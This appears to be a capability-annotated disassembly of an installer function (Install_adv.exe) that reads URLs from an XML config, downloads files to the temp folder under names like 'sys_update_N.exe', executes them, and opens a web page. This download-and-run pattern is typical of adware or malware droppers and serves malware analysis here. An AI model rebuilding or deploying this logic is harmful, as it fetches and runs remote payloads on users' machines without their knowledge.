Function at 0x46c760
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x475981
mov eax, dword fs:[0]
push eax
sub esp, 0xa30
mov eax, dword [0x49c00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xa1c], ecx
push str.Setup
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeCount_wchar_t_const__
mov dword [ebp - 0xa38], eax
mov dword [ebp - 0xa20], 0x800
lea ecx, [ebp - 0xa24]
call fcn.004096c0
mov dword [ebp - 4], 0
lea eax, [ebp - 0xa18]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0xa28], 0
mov dword [ebp - 0xa2c], 0
jmp 0x46c800
mov ecx, dword [ebp - 0xa2c]
add ecx, 1
mov dword [ebp - 0xa2c], ecx
mov edx, dword [ebp - 0xa2c]
cmp edx, dword [ebp - 0xa38]
jge 0x46ca84
mov eax, dword [ebp - 0xa20]
push eax
push 0
lea ecx, [ebp - 0x810]
push ecx
call fcn.0042b9d0
add esp, 0xc
lea edx, [ebp - 0xa28]
push edx
lea eax, [ebp - 0x810]
push eax
push str.CheckY
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea ecx, [ebp - 0x810]
push ecx
call sym.Install_adv.exe_int___cdecl_CheckInstalled_wchar_t_const__
add esp, 4
test eax, eax
je 0x46c863
jmp 0x46c7f1
mov edx, dword [ebp - 0xa20]
push edx
push 0
lea eax, [ebp - 0x810]
push eax
call fcn.0042b9d0
add esp, 0xc
lea ecx, [ebp - 0xa28]
push ecx
lea edx, [ebp - 0x810]
push edx
push str.CheckN
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea eax, [ebp - 0x810]
push eax
call sym.Install_adv.exe_int___cdecl_CheckInstalled_wchar_t_const__
add esp, 4
test eax, eax
je 0x46c8b7
jmp 0x46c7f1
mov ecx, dword [ebp - 0xa20]
push ecx
push 0
lea edx, [ebp - 0x810]
push edx
call fcn.0042b9d0
add esp, 0xc
lea eax, [ebp - 0xa28]
push eax
lea ecx, [ebp - 0x810]
push ecx
push str.WebPath
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea edx, [ebp - 0x810]
push edx
lea ecx, [ebp - 0xa30]
call fcn.004095e0
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xa20]
push eax
push 0
lea ecx, [ebp - 0x810]
push ecx
call fcn.0042b9d0
add esp, 0xc
lea edx, [ebp - 0xa28]
push edx
lea eax, [ebp - 0x810]
push eax
push str.SaveName
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea ecx, [ebp - 0x810]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x46c97a
lea edx, [ebp - 0x810]
push edx
lea eax, [ebp - 0xa18]
push eax
push str._s_s
lea ecx, [ebp - 0xa24]
push ecx
call fcn.00409d20
add esp, 0x10
jmp 0x46c99c
mov edx, dword [ebp - 0xa2c]
push edx
lea eax, [ebp - 0xa18]
push eax
push str._s_sys_update__d.exe
lea ecx, [ebp - 0xa24]
push ecx
call fcn.00409d20
add esp, 0x10
push 0x48d214
push 0x48d218
lea ecx, [ebp - 0xa24]
call fcn.0040d860
push 0
push 0
lea ecx, [ebp - 0xa24]
call fcn.00409710
push eax
lea ecx, [ebp - 0xa30]
call fcn.00409710
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [ebp - 0xa3c], eax
cmp dword [ebp - 0xa3c], 0
jne 0x46ca70
mov edx, dword [ebp - 0xa20]
push edx
push 0
lea eax, [ebp - 0x810]
push eax
call fcn.0042b9d0
add esp, 0xc
lea ecx, [ebp - 0xa28]
push ecx
lea edx, [ebp - 0x810]
push edx
push str.Params
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t___int__
lea eax, [ebp - 0x810]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x46ca56
push 5
push 0
lea ecx, [ebp - 0x810]
push ecx
lea ecx, [ebp - 0xa24]
call fcn.00409710
push eax
call sym.Install_adv.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
jmp 0x46ca70
push 5
push 0
push 0
lea ecx, [ebp - 0xa24]
call fcn.00409710
push eax
call sym.Install_adv.exe_int___cdecl_DoRun_wchar_t_const___wchar_t_const___int__int_
add esp, 0x10
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa30]
call fcn.004095a0
jmp 0x46c7f1
mov edx, dword [ebp - 0xa20]
push edx
push 0
lea eax, [ebp - 0x810]
push eax
call fcn.0042b9d0
add esp, 0xc
lea ecx, [ebp - 0x810]
push ecx
push str.showmsg
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t__
lea edx, [ebp - 0x810]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x46cb41
lea eax, [ebp - 0x810]
push eax
lea ecx, [ebp - 0xa34]
call fcn.004095e0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0xa20]
push ecx
push 0
lea edx, [ebp - 0x810]
push edx
call fcn.0042b9d0
add esp, 0xc
lea eax, [ebp - 0x810]
push eax
push str.showtitle
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t__
push 0
lea ecx, [ebp - 0x810]
push ecx
lea ecx, [ebp - 0xa34]
call fcn.00409710
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xa34]
call fcn.004095a0
mov edx, dword [ebp - 0xa20]
push edx
push 0
lea eax, [ebp - 0x810]
push eax
call fcn.0042b9d0
add esp, 0xc
lea ecx, [ebp - 0x810]
push ecx
push str.showurl
mov ecx, dword [ebp - 0xa1c]
add ecx, 0x45c
call sym.Install_adv.exe_public:_int___thiscall_CNsXml::GetXmlNodeValue_wchar_t_const___wchar_t__
lea edx, [ebp - 0x810]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x46cba1
push 5
push 0
push 0
lea eax, [ebp - 0x810]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa24]
call fcn.004095a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00429d20
mov esp, ebp
pop ebp
ret